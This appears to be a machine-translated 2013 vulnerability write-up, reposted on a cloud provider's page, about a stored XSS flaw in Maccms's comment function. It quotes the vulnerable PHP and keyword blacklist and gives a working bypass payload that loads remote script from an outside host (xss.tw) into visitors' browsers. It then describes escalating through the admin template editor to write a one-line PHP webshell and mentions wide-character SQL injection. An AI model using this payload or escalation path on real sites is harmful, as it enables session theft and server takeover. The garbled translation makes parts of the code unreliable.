Maccms storage type xss

Source: Internet
Author: User

# Title: maccms simple analysis # Time: 2013.3 # Team: c0deplay # Author: peach ####################################### the storage xss analysis problem that affects the latest version of gbk utf8 lies in the plus, comment, and index. php page message adding function add () // here the wide character SQL injection can actually be used without following up $ c_content = iconv ('utf-8 ′, 'gb2312 // IGNORE ', $ c_content); $ c_name = badFilter (unescape ($ c_name); $ c_content = badFilter (unescape ($ c_content )); $ c_ip = getIP (); if (isN ($ c_name) {$ c_name = "";} $ C_addtime = date ('Y-m-d H: I: s', time ()); if ($ c_vid = "" | $ c_name = "" | $ c_content = "") {die ("<div id = 'comment _ load'> null </div>");} $ result = $ db-> query ("insert tbl_comment (c_name, c_content, c_ip, c_addtime, c_vid, c_type) values ('". $ c_name. "','". $ c_content. "','". $ c_ip. "','". $ c_addtime. "','". $ c_vid. "','". $ c_type. "')"); // write it to the database to see badFilter () inc/label. php function badFilter ($ Str) {$ filters = app_filter; // Constant $ badKeywordArr = explode (",", $ filters); // The explode function splits the string into an array for ($ s_ I = 0; $ s_ I <= count ($ badKeywordArr); $ s_ I = $ s_ I + 1) {$ Str = str_replace ($ badKeywordArr [$ s_ I], "***", $ Str); // use a string to replace another character in the string with the keyword} $ funresult = $ Str; return $ funresult;} // check the replaced keyword config. phpdefine ("app_filter", "http, //, com, cn, net, org, www "); the filtering effect is as follows: the http // com cn net org www keywords are filtered. This is a blacklist policy, and the exp bypassed is <script> var a = 'H'; var B = ': \/\ /'; Document. write ('<script src = "' + a + 'ttp '+ B +' xss. tw/xxx "> <\/script> '); </script> in this way, xss storage is born. Go to the background to modify the template. You can modify the file at will. Replace the path and file name to write the PHP file in one sentence.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.